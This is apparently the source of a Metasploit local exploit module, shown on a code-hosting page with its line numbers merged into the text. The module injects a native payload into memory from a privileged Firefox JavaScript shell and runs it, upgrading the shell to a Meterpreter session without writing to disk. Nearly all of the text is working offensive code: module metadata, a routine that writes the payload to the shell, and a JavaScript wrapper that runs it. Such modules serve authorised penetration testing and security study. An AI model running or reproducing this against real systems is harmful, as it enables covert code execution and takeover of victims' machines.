Path: blob/master/modules/exploits/firefox/local/exec_shellcode.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # Missing autodetection, but has widespread targetability78include Msf::Payload::Firefox9include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',16'Description' => %q{17This module allows execution of native payloads from a privileged Firefox Javascript shell.18It places the specified payload into memory, adds the necessary protection flags,19and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter20session without touching the disk.21},22'License' => MSF_LICENSE,23'Author' => [ 'joev' ],24'Platform' => [ 'firefox' ],25'DisclosureDate' => '2014-03-10',26'Targets' => [27[28'Native Payload', {29'Platform' => %w[linux osx win unix],30'Arch' => ARCH_ALL31}32]33],34'Notes' => {35'Reliability' => [ REPEATABLE_SESSION ],36'Stability' => [ CRASH_SAFE ],37'SideEffects' => [ IOC_IN_LOGS ]38},39'DefaultTarget' => 040)41)4243register_options([44OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])45])46end4748def exploit49print_status('Running the JavaScript shell...')50session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")51results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])52print_warning(results) if results.present?53end5455def js_payload56%|57(function(send){58try {59#{run_payload}60send("Payload executed.");61} catch (e) {62send(e);63}64})(send);65|.strip66end67end686970